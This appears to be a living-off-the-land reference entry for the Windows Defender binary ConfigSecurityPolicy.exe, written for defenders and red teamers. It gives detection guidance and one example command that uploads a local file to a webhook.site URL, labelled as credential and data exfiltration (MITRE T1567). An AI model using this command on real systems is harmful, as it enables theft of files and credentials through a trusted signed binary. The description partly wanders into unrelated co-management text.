.. / ConfigSecurityPolicy.exe
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Binary part of Windows Defender. Used to manage settings in Windows Defender. you can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.


Paths:


Resources:
https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads
https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads
https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor
https://twitter.com/NtSetDefault/status/1302589153570365440?s=20

Acknowledgement:
Ialle Teixeira - @NtSetDefault


Detection:
ConfigSecurityPolicy storing data into alternate data streams.
Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.
Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.
User Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)"



Upload

Upload file, credentials or data exfiltration in general
ConfigSecurityPolicy.exe C:\\Windows\\System32\\calc.exe https://webhook.site/xxxxxxxxx?encodedfile
Usecase:Upload file
Privileges required:User
OS:Windows 10
Mitre:T1567